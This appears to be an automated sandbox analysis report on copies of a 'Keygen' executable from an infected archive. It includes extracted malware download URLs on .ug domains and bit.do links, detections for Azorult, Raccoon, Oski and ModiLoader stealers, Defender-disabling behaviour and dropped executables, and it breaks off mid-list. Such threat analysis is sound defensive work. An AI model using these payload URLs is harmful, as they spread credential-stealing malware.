201001-nyhbt4p25j_pw_infected/Keygen — копия (25) — копия.exe
Resource
win7
Behavioral task
behavioral130
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (25) — копия.exe
Resource
win10
Behavioral task
behavioral131
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (25).exe
Resource
win7v200722
Behavioral task
behavioral132
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (25).exe
Resource
win10
Behavioral task
behavioral133
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (26) — копия.exe
Resource
win7v200722
Behavioral task
behavioral134
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (26) — копия.exe
Resource
win10v200722
Behavioral task
behavioral135
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (26).exe
Resource
win7
Behavioral task
behavioral136
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (26).exe
Resource
win10
Behavioral task
behavioral137
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (27) — копия.exe
Resource
win7v200722
Behavioral task
behavioral138
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (27) — копия.exe
Resource
win10
Behavioral task
behavioral139
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (27).exe
Resource
win7
Behavioral task
behavioral140
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (27).exe
Resource
win10v200722
Behavioral task
behavioral141
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (28) — копия.exe
Resource
win7
Behavioral task
behavioral142
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (28) — копия.exe
Resource
win10
Behavioral task
behavioral143
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (28).exe
Resource
win7v200722
Behavioral task
behavioral144
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (28).exe
Resource
win10
Behavioral task
behavioral145
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (29) — копия.exe
Resource
win7v200722
Behavioral task
behavioral146
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (29) — копия.exe
Resource
win10
Behavioral task
behavioral147
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (29).exe
Resource
win7v200722
Behavioral task
behavioral148
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (29).exe
Resource
win10
Behavioral task
behavioral149
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (3) — копия.exe
Resource
win7v200722
Behavioral task
behavioral150
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (3) — копия.exe
Resource
win10
Behavioral task
behavioral151
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (3).exe
Resource
win7v200722
Behavioral task
behavioral152
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (3).exe
Resource
win10
Behavioral task
behavioral153
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (30) — копия.exe
Resource
win7
Behavioral task
behavioral154
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (30) — копия.exe
Resource
win10v200722
Behavioral task
behavioral155
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (30).exe
Resource
win7
Behavioral task
behavioral156
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (30).exe
Resource
win10
Behavioral task
behavioral157
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (31) — копия.exe
Resource
win7
Behavioral task
behavioral158
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (31) — копия.exe
Resource
win10
Behavioral task
behavioral159
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (31).exe
Resource
win7v200722
Behavioral task
behavioral160
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (31).exe
Resource
win10v200722
Behavioral task
behavioral161
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (32) — копия.exe
Resource
win7v200722
Behavioral task
behavioral162
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (32) — копия.exe
Resource
win10v200722
Behavioral task
behavioral163
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (32).exe
Resource
win7
Behavioral task
behavioral164
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (32).exe
Resource
win10v200722
Behavioral task
behavioral165
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (33) — копия.exe
Resource
win7v200722
Behavioral task
behavioral166
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (33) — копия.exe
Resource
win10
Behavioral task
behavioral167
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (33).exe
Resource
win7v200722
Behavioral task
behavioral168
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (33).exe
Resource
win10v200722
Behavioral task
behavioral169
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (34) — копия.exe
Resource
win7v200722
Behavioral task
behavioral170
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (34) — копия.exe
Resource
win10v200722
Behavioral task
behavioral171
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (34).exe
Resource
win7
Behavioral task
behavioral172
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (34).exe
Resource
win10v200722
Behavioral task
behavioral173
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (35) — копия.exe
Resource
win7v200722
Behavioral task
behavioral174
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (35) — копия.exe
Resource
win10
Behavioral task
behavioral175
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (35).exe
Resource
win7v200722
Behavioral task
behavioral176
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (35).exe
Resource
win10v200722
Behavioral task
behavioral177
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (36) — копия.exe
Resource
win7
Behavioral task
behavioral178
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (36) — копия.exe
Resource
win10
Behavioral task
behavioral179
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (36).exe
Resource
win7
Behavioral task
behavioral180
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (36).exe
Resource
win10v200722
Behavioral task
behavioral181
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (37) — копия.exe
Resource
win7v200722
Behavioral task
behavioral182
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (37) — копия.exe
Resource
win10v200722
Behavioral task
behavioral183
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (37).exe
Resource
win7
Behavioral task
behavioral184
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (37).exe
Resource
win10v200722
Behavioral task
behavioral185
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (38) — копия.exe
Resource
win7
Behavioral task
behavioral186
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (38) — копия.exe
Resource
win10
Behavioral task
behavioral187
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (38).exe
Resource
win7
Behavioral task
behavioral188
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (38).exe
Resource
win10v200722
Behavioral task
behavioral189
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (39) — копия.exe
Resource
win7
Behavioral task
behavioral190
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (39) — копия.exe
Resource
win10v200722
Behavioral task
behavioral191
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (4) — копия.exe
Resource
win7
Behavioral task
behavioral192
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (4) — копия.exe
Resource
win10v200722
Behavioral task
behavioral193
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (4).exe
Resource
win7
Behavioral task
behavioral194
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (4).exe
Resource
win10v200722
Behavioral task
behavioral195
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (40) — копия.exe
Resource
win7v200722
Behavioral task
behavioral196
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (40) — копия.exe
Resource
win10
Behavioral task
behavioral197
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (41) — копия.exe
Resource
win7
Behavioral task
behavioral198
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (41) — копия.exe
Resource
win10
Behavioral task
behavioral199
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (42) — копия.exe
Resource
win7v200722
Behavioral task
behavioral200
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (42) — копия.exe
Resource
win10v200722
Behavioral task
behavioral201
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (43) — копия.exe
Resource
win7v200722
Behavioral task
behavioral202
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (43) — копия.exe
Resource
win10v200722
Behavioral task
behavioral203
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (44) — копия.exe
Resource
win7
Behavioral task
behavioral204
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (44) — копия.exe
Resource
win10v200722
Behavioral task
behavioral205
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (45) — копия.exe
Resource
win7v200722
Behavioral task
behavioral206
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (45) — копия.exe
Resource
win10v200722
Behavioral task
behavioral207
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (46) — копия.exe
Resource
win7v200722
Behavioral task
behavioral208
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (46) — копия.exe
Resource
win10v200722
Behavioral task
behavioral209
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (47) — копия.exe
Resource
win7
Behavioral task
behavioral210
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (47) — копия.exe
Resource
win10
Behavioral task
behavioral211
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (48) — копия.exe
Resource
win7v200722
Behavioral task
behavioral212
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (48) — копия.exe
Resource
win10
Behavioral task
behavioral213
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (49) — копия.exe
Resource
win7v200722
Behavioral task
behavioral214
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (49) — копия.exe
Resource
win10
Behavioral task
behavioral215
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (5) — копия.exe
Resource
win7v200722
Behavioral task
behavioral216
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (5) — копия.exe
Resource
win10
Behavioral task
behavioral217
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (5).exe
Resource
win7v200722
Behavioral task
behavioral218
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (5).exe
Resource
win10
Behavioral task
behavioral219
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (50) — копия.exe
Resource
win7v200722
Behavioral task
behavioral220
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (50) — копия.exe
Resource
win10v200722
Behavioral task
behavioral221
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (51) — копия.exe
Resource
win7
Behavioral task
behavioral222
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (51) — копия.exe
Resource
win10v200722
Behavioral task
behavioral223
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (52) — копия.exe
Resource
win7
Behavioral task
behavioral224
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (52) — копия.exe
Resource
win10v200722
Behavioral task
behavioral225
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (53) — копия.exe
Resource
win7
Behavioral task
behavioral226
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (53) — копия.exe
Resource
win10v200722
Behavioral task
behavioral227
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (54) — копия.exe
Resource
win7
Behavioral task
behavioral228
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (54) — копия.exe
Resource
win10
Behavioral task
behavioral229
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (55) — копия.exe
Resource
win7v200722
Behavioral task
behavioral230
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (55) — копия.exe
Resource
win10v200722
Behavioral task
behavioral231
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (56) — копия.exe
Resource
win7v200722
Behavioral task
behavioral232
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (56) — копия.exe
Resource
win10
Behavioral task
behavioral233
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (57) — копия.exe
Resource
win7
Behavioral task
behavioral234
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (57) — копия.exe
Resource
win10
Behavioral task
behavioral235
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (58) — копия.exe
Resource
win7v200722
Behavioral task
behavioral236
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (58) — копия.exe
Resource
win10v200722
Behavioral task
behavioral237
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (59) — копия.exe
Resource
win7v200722
Behavioral task
behavioral238
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (59) — копия.exe
Resource
win10
Behavioral task
behavioral239
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (6) — копия.exe
Resource
win7v200722
Behavioral task
behavioral240
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (6) — копия.exe
Resource
win10
Behavioral task
behavioral241
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (6).exe
Resource
win7v200722
Behavioral task
behavioral242
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (6).exe
Resource
win10v200722
Behavioral task
behavioral243
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (60) — копия.exe
Resource
win7v200722
Behavioral task
behavioral244
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (60) — копия.exe
Resource
win10v200722
Behavioral task
behavioral245
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (61) — копия.exe
Resource
win7v200722
Behavioral task
behavioral246
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (61) — копия.exe
Resource
win10
Behavioral task
behavioral247
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (62) — копия.exe
Resource
win7
Behavioral task
behavioral248
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (62) — копия.exe
Resource
win10v200722
Behavioral task
behavioral249
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (63) — копия.exe
Resource
win7v200722
Behavioral task
behavioral250
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (63) — копия.exe
Resource
win10v200722
Behavioral task
behavioral251
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (64) — копия.exe
Resource
win7v200722
Behavioral task
behavioral252
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (64) — копия.exe
Resource
win10v200722
Behavioral task
behavioral253
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (65) — копия.exe
Resource
win7v200722
Behavioral task
behavioral254
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (65) — копия.exe
Resource
win10v200722
Behavioral task
behavioral255
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (66) — копия.exe
Resource
win7v200722
Behavioral task
behavioral256
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (66) — копия.exe
Resource
win10
Behavioral task
behavioral257
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (67) — копия.exe
Resource
win7v200722
Behavioral task
behavioral258
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (67) — копия.exe
Resource
win10
Behavioral task
behavioral259
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (68) — копия.exe
Resource
win7v200722
Behavioral task
behavioral260
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (68) — копия.exe
Resource
win10v200722
Behavioral task
behavioral261
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (69) — копия.exe
Resource
win7
Behavioral task
behavioral262
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (69) — копия.exe
Resource
win10
Behavioral task
behavioral263
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (7) — копия.exe
Resource
win7
Behavioral task
behavioral264
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (7) — копия.exe
Resource
win10v200722
Behavioral task
behavioral265
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (7).exe
Resource
win7v200722
Behavioral task
behavioral266
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (7).exe
Resource
win10v200722
Behavioral task
behavioral267
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (70) — копия.exe
Resource
win7
Behavioral task
behavioral268
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (70) — копия.exe
Resource
win10
Behavioral task
behavioral269
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (71) — копия.exe
Resource
win7v200722
Behavioral task
behavioral270
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (71) — копия.exe
Resource
win10v200722
Behavioral task
behavioral271
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (72) — копия.exe
Resource
win7
Behavioral task
behavioral272
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (72) — копия.exe
Resource
win10
Behavioral task
behavioral273
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (73) — копия.exe
Resource
win7v200722
Behavioral task
behavioral274
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (73) — копия.exe
Resource
win10v200722
Behavioral task
behavioral275
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (74) — копия.exe
Resource
win7v200722
Behavioral task
behavioral276
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (74) — копия.exe
Resource
win10
Behavioral task
behavioral277
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (75) — копия.exe
Resource
win7v200722
Behavioral task
behavioral278
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (75) — копия.exe
Resource
win10
Behavioral task
behavioral279
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (76) — копия.exe
Resource
win7v200722
Behavioral task
behavioral280
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (76) — копия.exe
Resource
win10v200722
Behavioral task
behavioral281
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (77) — копия.exe
Resource
win7
Behavioral task
behavioral282
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (77) — копия.exe
Resource
win10v200722
Behavioral task
behavioral283
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (78) — копия.exe
Resource
win7
Behavioral task
behavioral284
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (78) — копия.exe
Resource
win10v200722
Behavioral task
behavioral285
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (79) — копия.exe
Resource
win7v200722
Behavioral task
behavioral286
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (79) — копия.exe
Resource
win10v200722
Behavioral task
behavioral287
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (8) — копия.exe
Resource
win7v200722
Behavioral task
behavioral288
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (8) — копия.exe
Resource
win10v200722
Behavioral task
behavioral289
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (8).exe
Resource
win7
Behavioral task
behavioral290
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (8).exe
Resource
win10v200722
Behavioral task
behavioral291
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (80) — копия.exe
Resource
win7v200722
Behavioral task
behavioral292
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (80) — копия.exe
Resource
win10v200722
Behavioral task
behavioral293
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (81) — копия.exe
Resource
win7
Behavioral task
behavioral294
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (81) — копия.exe
Resource
win10
Behavioral task
behavioral295
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (82) — копия.exe
Resource
win7v200722
Behavioral task
behavioral296
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (82) — копия.exe
Resource
win10v200722
Behavioral task
behavioral297
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (83) — копия.exe
Resource
win7
Behavioral task
behavioral298
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (83) — копия.exe
Resource
win10
Behavioral task
behavioral299
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (84) — копия.exe
Resource
win7
Behavioral task
behavioral300
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (84) — копия.exe
Resource
win10
Behavioral task
behavioral301
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (85) — копия.exe
Resource
win7
Behavioral task
behavioral302
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (85) — копия.exe
Resource
win10v200722
Behavioral task
behavioral303
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (86) — копия.exe
Resource
win7
Behavioral task
behavioral304
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (86) — копия.exe
Resource
win10v200722
Behavioral task
behavioral305
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (87) — копия.exe
Resource
win7v200722
Behavioral task
behavioral306
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (87) — копия.exe
Resource
win10
Behavioral task
behavioral307
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (88) — копия.exe
Resource
win7v200722
Behavioral task
behavioral308
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (88) — копия.exe
Resource
win10
Behavioral task
behavioral309
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (89) — копия.exe
Resource
win7v200722
Behavioral task
behavioral310
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (89) — копия.exe
Resource
win10v200722
Behavioral task
behavioral311
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (9) — копия.exe
Resource
win7
Behavioral task
behavioral312
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (9) — копия.exe
Resource
win10
Behavioral task
behavioral313
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (9).exe
Resource
win7v200722
Behavioral task
behavioral314
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (9).exe
Resource
win10v200722
Behavioral task
behavioral315
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (90) — копия.exe
Resource
win7v200722
Behavioral task
behavioral316
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (90) — копия.exe
Resource
win10
Behavioral task
behavioral317
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (91) — копия.exe
Resource
win7v200722
Behavioral task
behavioral318
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (91) — копия.exe
Resource
win10
Behavioral task
behavioral319
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (92) — копия.exe
Resource
win7v200722
Behavioral task
behavioral320
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (92) — копия.exe
Resource
win10
Behavioral task
behavioral321
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (93) — копия.exe
Resource
win7v200722
Behavioral task
behavioral322
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (93) — копия.exe
Resource
win10
Behavioral task
behavioral323
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (94) — копия.exe
Resource
win7v200722
Behavioral task
behavioral324
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (94) — копия.exe
Resource
win10
Behavioral task
behavioral325
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (95) — копия.exe
Resource
win7v200722
Behavioral task
behavioral326
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (95) — копия.exe
Resource
win10v200722
Behavioral task
behavioral327
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (96) — копия.exe
Resource
win7
Behavioral task
behavioral328
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (96) — копия.exe
Resource
win10
Behavioral task
behavioral329
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (97) — копия.exe
Resource
win7v200722
Behavioral task
behavioral330
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (97) — копия.exe
Resource
win10
Behavioral task
behavioral331
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (98) — копия.exe
Resource
win7
Behavioral task
behavioral332
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (98) — копия.exe
Resource
win10v200722
Behavioral task
behavioral333
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (99) — копия.exe
Resource
win7v200722
Behavioral task
behavioral334
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (99) — копия.exe
Resource
win10v200722
Behavioral task
behavioral335
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (2).exe
Resource
win7
Behavioral task
behavioral336
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (2).exe
Resource
win10
Behavioral task
behavioral337
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (3).exe
Resource
win7
Behavioral task
behavioral338
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (3).exe
Resource
win10v200722
Behavioral task
behavioral339
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (4).exe
Resource
win7
Behavioral task
behavioral340
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (4).exe
Resource
win10
Behavioral task
behavioral341
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия.exe
Resource
win7
Behavioral task
behavioral342
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия.exe
Resource
win10
Behavioral task
behavioral343
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия.exe
Resource
win7
Behavioral task
behavioral344
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия.exe
Resource
win10v200722
Behavioral task
behavioral345
Sample
201001-nyhbt4p25j_pw_infected/Keygen.exe
Resource
win7v200722
Behavioral task
behavioral346
Sample
201001-nyhbt4p25j_pw_infected/Keygen.exe
Resource
win10v200722
General
-
Target
201001-nyhbt4p25j_pw_infected/Keygen — копия (32).exe
Malware Config
Extracted
http://zxvbcrt.ug/zxcvb.exe
http://zxvbcrt.ug/zxcvb.exe
Extracted
http://bit.do/fqhHT
http://bit.do/fqhHT
Extracted
http://bit.do/fqhJv
http://bit.do/fqhJv
Extracted
http://pdshcjvnv.ug/zxcvb.exe
http://pdshcjvnv.ug/zxcvb.exe
Extracted
http://bit.do/fqhJD
http://bit.do/fqhJD
Extracted
http://rbcxvnb.ug/zxcvb.exe
http://rbcxvnb.ug/zxcvb.exe
Extracted
C:\Users\Admin\AppData\LocalLow\machineinfo.txt
raccoon
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
Processes:
resource yara_rule behavioral163/memory/2476-381-0x00000000006B0000-0x00000000006B3000-memory.dmp disable_win_def behavioral163/memory/1248-396-0x0000000000630000-0x0000000000635000-memory.dmp disable_win_def -
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.
Processes:
yara_rule raccoon_log_file -
ModiLoader First Stage 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\RBabUs54Us.exe modiloader_stage1 C:\Users\Admin\AppData\Local\Temp\RBabUs54Us.exe modiloader_stage1 C:\Users\Admin\AppData\Local\Temp\RBabUs54Us.exe modiloader_stage1 -
ModiLoader Second Stage 1 IoCs
Processes:
resource yara_rule behavioral163/memory/3008-417-0x0000000002F80000-0x0000000002FCC000-memory.dmp modiloader_stage2 -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 10 1488 powershell.exe 12 1488 powershell.exe 16 1420 powershell.exe 17 1076 powershell.exe 20 1076 powershell.exe 21 1420 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 31 IoCs
Processes:
Keygen.exemsr.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exemsr.exeNHtrdsaghfDF.exeewd.exezkh.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exezkh.exeNHtrdsaghfDF.exeewd.exezkh.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezkh.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeewd.exehgfnmbasdo.exeewd.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exe1wd1PPK5LT.exeRBabUs54Us.exeeYPP1oZQ1b.exeEFWQHA1FzQ.exepid process 1872 Keygen.exe 2496 msr.exe 2588 FVjhgtresfdbv.exe 2628 NHtrdsaghfDF.exe 2652 FVjhgtresfdbv.exe 2684 msr.exe 2744 NHtrdsaghfDF.exe 2900 ewd.exe 2920 zkh.exe 3028 FVjhgtresfdbv.exe 3060 NHtrdsaghfDF.exe 2124 FVjhgtresfdbv.exe 1552 zkh.exe 2212 NHtrdsaghfDF.exe 2356 ewd.exe 2400 zkh.exe 1568 FVjhgtresfdbv.exe 2544 NHtrdsaghfDF.exe 2680 zkh.exe 2588 NHtrdsaghfDF.exe 2860 FVjhgtresfdbv.exe 2476 ewd.exe 3012 hgfnmbasdo.exe 2964 ewd.exe 328 hgfnmbasdo.exe 2748 axcsdfa.exe 1604 axcsdfa.exe 1712 1wd1PPK5LT.exe 